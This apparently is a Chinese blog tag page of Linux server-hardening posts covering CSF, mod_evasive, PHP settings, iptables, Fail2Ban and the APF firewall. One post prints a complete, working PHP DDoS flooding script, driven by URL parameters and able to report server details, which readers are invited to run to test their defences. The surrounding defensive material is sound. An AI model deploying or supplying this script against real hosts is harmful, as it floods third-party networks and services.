标签 Linux系统安全 下的文章

vim /etc/csf/csf.conf
  
PORTFLOOD = "22;tcp;5;300,80;tcp;20;5"  

/etc/init.d/csf start  


解释:

1),如果300秒内有5个以上连接到tcp端口22的连接,则至少在发现最后一个数据包300秒后阻止该IP地址访问端口22,即在该阻止被取消前有300秒的"安静" 期。
2), 如果5秒内有20个以上连接到tcp端口80的连接,则至少在发现最后一个数据包5秒后阻止该IP地址访问端口80,即在该阻止被取消前有5秒的"安静" 期。

给我感觉是,csf不光有一面墙,墙后面,还有一张网,动态防御。感觉这一点做的比较好。


参考: http://blog.51yip.com/server/1503.html

ZPanelcp使用apache,我们可以优化下它的性能,增加防cc的模块,以防止出现万一。

mod_evasive 是Apache的防DDOS模块。可以比较有效的防止CC攻击等,虽然不能完全阻止,但一定程度上可以缓解Apache的压力。配置也比较简单,下面有相关说明,可根据自己服务器情况配置。

安装

wget http://www.zdziarski.com/blog/wp-content/uploads/2010/02/mod_evasive_1.10.1.tar.gz
tar zxvf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/usr/sbin/apxs -i -a -c mod_evasive20.c

如果mod_evasive模块已正确安装,会自动添加到httpd.conf
/etc/httpd/conf/httpd.conf 会有下面这行

LoadModule evasive20_module /usr/lib/httpd/modules/mod_evasive20.so

配置

vi /etc/httpd/conf/httpd.conf

#键盘:Ctrl + G
#跳转到文档底部,添加以下内容

#17/12/2013 Add
<IfModule mod_evasive20.c>
DOSHashTableSize 512
DOSSiteCount 50
DOSPageCount 2
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod  3600
DOSEmailNotify youemail@qq.com
DOSSystemCommand "sudo iptables -A INPUT -s %s -j DROP"
DOSLogDir "/tmp"
DOSWhiteList 127.0.0.
</IfModule>

mod_evasive 的官方地址: http://www.zdziarski.com

相关参数
DOSHashTableSize 3097:定义哈希表大小。
DOSSiteCount 50:允许客户机的最大并发连接。
DOSPageCount 2:允许客户机访问同一页的间隔。
DOSPageInterval 1:网页访问计数器间隔。
DOSSiteInterval 1:全站访问计数器间隔。
DOSSiteInterval 60:加入黑名单后拒绝访问时间。
DOSEmailNotify xxxx@gmail.com:有IP加入黑名单后通知管理员。
DOSSystemCommand "sudo iptables -A INPUT -s %s -j DROP":IP加入黑名单后执行的系统命令。
DOSLogDir "/tmp":锁定机制临时目录。
DOSWhiteList 127.0.0.1:防范白名单,不阻止白名单IP。

前几天有台香港服务器上的DEDE用户被入侵了,植入了PHP-DDOS发包代码,影响了网络,导致同服务器用户网站都无法正常访问。这段代码是用fsockopen函数请求外部,我们可以禁止这个函数。

php.ini

搜索:disable_functions
在后面加上:fsockopen

allow_url_fopen = Off

ignore_user_abort = On

以及把

extension=php_sockets.dll
改成
;extension=php_sockets.dll

保存退出,重启 Apache。

然后利用iptables,禁本机对外发送UDP包

iptables -A INPUT -p tcp -m tcp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --sport 1024:65535 -d 8.8.4.4 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p udp -m udp --sport 1024:65535 -d 8.8.8.8 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p udp -j REJECT

以上就可以防止PHP-DDOS发包了,但是可能会使一些PHP程序异常,比如DZ需要fsockopen函数发信等。但都有解决办法,可以把fsockopen函数,替换为:pfsockopen,就基本可以解决所有问题了。

一段PHPDDOS代码,完成以上操作后,可以试试能否运行成功。

<?php 
error_reporting(0);//禁用错误报告 
set_time_limit(0);//配置该页最久执行时间。  0为永久执行 
ignore_user_abort(false); //设置与客户机断开是否会终止脚本的执行。 
   
/*get参数*/
$type = $_GET['type']; //攻击方式 0为TCP 1为UDP 
$host = $_GET['host'];  //攻击目标 
$port = $_GET['port'];  //攻击端口 
$exec_time = $_GET['time'];  //持续时间 
$Sendlen = $_GET['size'];   //发送数据长度  如果为0则使用自定义数据包 
$data =  $_GET['data']; //自定义数据包 最大为1024KB 格式为URL编码 
$data = urldecode($data); //URL解码后的字符串 
$count = $_GET['count']; //限制发包次数   0为不限制然后只能通过时间控制 
/*end*/
   
if (function_exists('fsockopen')){$test="1";}else{$test="0";}//fsockopen是否能用 
   
//检测服务器信息 返回格式 [标识符]函数状态|主机名|脚本名|服务器信息|结译引擎[标识符]  
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 
        if (StrLen($_GET['rat'])<>0){ 
            echo $_GET['rat'].$test."|".$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER
   
['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
            exit; 
            } 
    echo "error"; 
    exit; 
    } 
   
$byte = 0;//记录发包次数 
$max_time = time()+$exec_time;//设置结束时间 
   
if($Sendlen!=0){ 
    for($i=0;$i<$Sendlen;$i++){$out .= "X";}//构造指定长度数据包 
}else{ 
    $out = $data;  //设置为自定义数据包 
} 
   
//死循环发送数据 
while(1){ 
    if(time() > $max_time){break;}//时间到了就跳出循环         
       
    //判断攻击方式 
    if($type==1) {     
        $fp = fsockopen("tcp://$host", $port, $errno, $errstr, 5);//打开TCP连接 
    } else {     
        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);//打开UDP连接 
    } 
        if($fp){            //如果连接成功 
            fwrite($fp, $out);  //发送数据 
            fclose($fp);  //关闭连接 
    } 
       
    $byte++;//发包次数加1 
       
    if((int)$count!=0){ 
        if($byte > (int)$count){break;}//发包次数大于设置的就跳出循环 
    }    
} 
?>

这里只列出比较常用的参数,详细的请查看man iptables

1、查看
iptables -nvL –line-number

-L 查看当前表的所有规则,默认查看的是filter表,如果要查看NAT表,可以加上-t NAT参数
-n 不对ip地址进行反查,加上这个参数显示速度会快很多
-v 输出详细信息,包含通过该规则的数据包数量,总字节数及相应的网络接口
–line-number 显示规则的序列号,这个参数在删除或修改规则时会用到

2、添加
添加规则有两个参数:-A和-I。其中-A是添加到规则的末尾;-I可以插入到指定位置,没有指定位置的话默认插入到规则的首部。

当前规则:

[root@test ~]# iptables -nL --line-number
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1    DROP       all  --  192.168.1.1          0.0.0.0/0
2    DROP       all  --  192.168.1.2          0.0.0.0/0
3    DROP       all  --  192.168.1.4          0.0.0.0/0

添加一条规则到尾部:

[root@test ~]# iptables -A INPUT -s 192.168.1.5 -j DROP

再插入一条规则到第三行,将行数直接写到规则链的后面:

[root@test ~]# iptables -I INPUT 3 -s 192.168.1.3 -j DROP

查看:

[root@test ~]# iptables -nL --line-number
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1    DROP       all  --  192.168.1.1          0.0.0.0/0
2    DROP       all  --  192.168.1.2          0.0.0.0/0
3    DROP       all  --  192.168.1.3          0.0.0.0/0
4    DROP       all  --  192.168.1.4          0.0.0.0/0
5    DROP       all  --  192.168.1.5          0.0.0.0/0

可以看到192.168.1.3插入到第三行,而原来的第三行192.168.1.4变成了第四行。

3、删除
删除用-D参数

删除之前添加的规则(iptables -A INPUT -s 192.168.1.5 -j DROP):

[root@test ~]# iptables -D INPUT -s 192.168.1.5 -j DROP

有时候要删除的规则太长,删除时要写一大串,既浪费时间又容易写错,这时我们可以先使用–line-number找出该条规则的行号,再通过行号删除规则。

[root@test ~]# iptables -nv --line-number
iptables v1.4.7: no command specified
Try `iptables -h' or 'iptables --help' for more information.
[root@test ~]# iptables -nL --line-number
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1    DROP       all  --  192.168.1.1          0.0.0.0/0
2    DROP       all  --  192.168.1.2          0.0.0.0/0
3    DROP       all  --  192.168.1.3          0.0.0.0/0

删除第二行规则

[root@test ~]# iptables -D INPUT 2

4、修改
修改使用-R参数

先看下当前规则:

[root@test ~]# iptables -nL --line-number
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1    DROP       all  --  192.168.1.1          0.0.0.0/0
2    DROP       all  --  192.168.1.2          0.0.0.0/0
3    DROP       all  --  192.168.1.5          0.0.0.0/0

将第三条规则改为ACCEPT:

[root@test ~]# iptables -R INPUT 3 -j ACCEPT

再查看下:

[root@test ~]# iptables -nL --line-number
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1    DROP       all  --  192.168.1.1          0.0.0.0/0
2    DROP       all  --  192.168.1.2          0.0.0.0/0
3    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0

第三条规则的target已改为ACCEPT。

转载:http://ns.35.com/?p=211

上次介绍了用Fail2Ban 防御 SSH、FTP的穷举,但其实fail2ban的可扩展性很好,只要是有登入错误的纪录档,及写下正确的正规表示式便可以使用,以下是阻挡SquirrelMail、POP3、SMTP、POSTFIX的穷举。(我是在DirectAdmin(DA)下配置,其它请根据自身修正 logpath 位置)

一、SquirrelMail 防御

编辑 /etc/fail2ban/jail.conf 文件, 并加入以下內容:

[squirrelmail-iptables]

enabled = true
filter = squirrelmail
action = iptables[name=SquirrelMail, port=http, protocol=tcp]
logpath = /var/log/maillog
bantime = 3600
findtime = 300
maxretry = 6

- 阅读剩余部分 -

iptables是Linux下不错的防火墙软件,本文主要给大家介绍下iptables的安装、规则增加和清除、开放指定端口、屏蔽指定ip和ip段等CentOS下iptables的基本应用。

一、iptables的安装

yum install iptables

如果CentOS没有默认安装iptables,则执行上述命令。如何知道系统是否有iptables呢?执行以下命令

service iptables status

如果提示 iptables:unrecognized service 则表示系统尚未安装。

二、iptables所在目录与配置文件(IP4)

安装完iptables后,配置文件默认在/etc/sysconfig/iptables

- 阅读剩余部分 -

Linux各发行版中SSH端口默认为22,如果正式做站或其它用途,为了提高安全性就需要修改掉默认的SSH端口号,防止被有心人穷举密码。

1、修改配置文件:/etc/ssh/sshd_config ,找到#port 22

2、先将Port 22 前面的 # 号去掉,并另起一行。如定义SSH端口号为26611 ,则输入 Port 26611
自定义端口选择建议在万位的端口(如:10000-65535之间)

- 阅读剩余部分 -

apf -f
rm -fv /etc/cron.daily/fw
rm -fv /etc/cron.daily/apf
rm -fv /etc/cron.d/refresh.apf
rm -fv /etc/logrotate.d/apf
rm -fv /var/log/apf*
/sbin/chkconfig apf off
/sbin/chkconfig apf --del
rm -fv /etc/init.d/apf
rm -Rfv /etc/apf
rm -fv /etc/cron.d/bfd
rm -fv /etc/logrotate.d/bfd
rm -fv /var/log/bfd*
rm -Rfv /usr/local/bfd

- 阅读剩余部分 -

Fail2ban是一个免费的账号密码仿爆破软件,当符合条件时封锁IP。以下安装方法适用于CentOS,需要配合APF或Iptables才能运行。

一、下载并解压Fail2Ban

wget http://soft.kwx.gd/security/fail2ban-0.8.4.tar.bz2

SSH执行以上命令,下载Fail2Ban 0.8.4版本。

tar -xjvf fail2ban-0.8.4.tar.bz2

SSH执行以上命令,解压fail2ban-0.8.4.tar.bz2。

cd fail2ban-0.8.4

SSH执行以上命令,进入fail2ban-0.8.4文件夹。

- 阅读剩余部分 -

服务器天天被人扫,虽然密码被爆破的可能性很小,但是被疯狂的扫描弱密码会给服务器带来些负担,而且看着也不舒服。我们可以通过APF来指定可访问的IP,以防被扫,同时也可以增加系统的安全性。

只允许来自192.168.0.1的IP访问服务器的SSH端口,屏蔽其他来访
# 在/etc/apf/allow_hosts.rules添加如下信息:

- 阅读剩余部分 -

apf

如果启动apf防火墙出现如下错误:

unable to load iptables module (ip_tables), aborting
# apf 无法载入iptables 模块(ip_tables),意外终止

即你的内核编译iptables是静态的,而不是作为一个模块,修改:/etc/apf/conf.apf

MONOKERN=”0″ 改为 “1″

保存退出,apf -r 重启apf就可以解决此错误。

Apf是一款Linux常用的免费防火墙,可以配合DDoS-Defate抵挡一定流量的攻击,经过测试感觉还是不错的,挺好用的。

APF安装



下载APF源码

# wget http://www.rfxn.com/downloads/apf-current.tar.gz

解压缩

# tar -xvzf apf-current.tar.gz

进入 APF目录

# cd apf-0.9.7-1/ or whatever the latest version is.

运行安装文件

# ./install.sh

APF配置



修改配置文件

# vi /etc/apf/conf.apf

端口设置 (INGRES)
cPanel的设置

     # Common ingress (inbound) TCP ports
     IG_TCP_CPORTS=" 20,21,22,25,26,53,80,110,143,443,465,993,995,2082,
     2083,2086,2087,2095,2096,3306,6666"\
     # Common ingress (inbound) UDP ports
     IG_UDP_CPORTS="21,53,465,873"

DirectAdmin 面板的设置

     # Common ingress (inbound) TCP ports
     IG_TCP_CPORTS=" 21,22,25,53,80,110,111,143,443,587953,2222,3306,32769"
     # Common ingress (inbound) UDP ports
     IG_UDP_CPORTS="53,111,631,724,5353,32768,32809"

让APF监控外出流量
修改: EGF="0" 为 EGF="1"

Tell APF what ports to monitor
Common egress (outbound) TCP ports (for Cpanel servers)
EG_TCP_CPORTS="21,22,25,26,37,43,53,80,110,113,443,465,873,2089,3306"

Common egress (outbound) UDP ports
EG_UDP_CPORTS="20,21,53,465,873"

Common ICMP (outbound) types
'internals/icmp.types' for type definition; 'all' is wildcard for any
EG_ICMP_TYPES="all"

Save your changes! Ctrl+X then press Y
Start APF
/usr/local/sbin/apf -s
If all works edit the config file and change the developer mode to 0
pico /etc/apf/conf.apf
修改 DEVM="1" 为 DEVM="0"

重启 APF

# /usr/local/sbin/apf -r

查看APF日志
查看日志 tail -f /var/log/apf_log

输出类似下面的内容:

   Aug 23 01:25:55 ocean apf(31448): (insert) deny all to/from 185.14.157.123
   Aug 23 01:39:43 ocean apf(32172): (insert) allow all to/from 185.14.157.123

让APF随服务器自动启动
让APF随服务器自动启动,运行下面的命令:

chkconfig --level 2345 apf on

禁止APF自动启动,运行下面的命令:

chkconfig --del apf

通过APF禁止IP
可通过下面两种方法禁止IP

通过命令:
/etc/apf/apf -d IPHERE COMMENTHERENOSPACES

>-d 表示禁止IP

> IPHERE 要禁止的IP地址

> COMMENTSHERENOSPACES 注释该IP被封的原因

该命令是立即生效的

例子:

./apf -d 185.14.157.123 TESTING

vi /etc/apf/deny_hosts.rules

文件中多出来:

   # added 185.14.157.123 on 08/23/05 01:25:55
   # TESTING
   185.14.157.123

通过编辑文件 deny_hosts.rules
vi /etc/apf/deny_hosts.rules

然后在该文件中添加要过滤的IP. 需要重新APF设置才会生效:

/etc/apf/apf -r

解禁IP
从deny_hosts.rules文件中移除IP就可以解禁该IP.

直接编辑文件
vi /etc/apf/deny_hosts.rules

找到IP并删除掉,然后重启APF:

/etc/apf/apf -r

使用命令
如果IP不在deny_hosts.rules, 使用该命令可以将IP添加到APF的白名单中allow_hosts.rules

/etc/apf/apf -a IPHERE COMMENTHERENOSPACES

> -a 表示允许IP

> IPHERE 要允许的IP地址

>COMMENTHERENOSPACES 注释

例子:

./apf -a 185.14.157.123 UNBLOCKING

vi /etc/apf/allow_hosts.rules

   # added 185.14.157.123 on 08/23/05 01:39:43
   # UNBLOCKING
   185.14.157.123

APF自定义Iptables命令
/etc/apf下有2个配置文件postroute.rules和preroute.rules。把Iptables的POSTROUTE和 PREROUTE命令放入对应的配置文件,APF在启动时就会自动调用实现NAT转发。 其他Iptables自定义命令可以直接写入/etc/apf/firewall里面。

APF常用操作命令

apf -s # 启动APF防火墙

apf -r # 重启APF防火墙

apf -f # 刷新APF防火墙配置文件

apf -l # 列出APF的配置信息,与iptables -nL类似

apf -st # APF信息统计。主要包括白名单,黑名单信息。

apf -a IP地址/IP段(FQDN) "注释" # 将IP/IP段添加到白名单

apf -d IP地址/IP段(FQDN) "注释" # 将IP/IP段添加到黑名单

apf -u # 将IP/IP段从白/黑名单中删除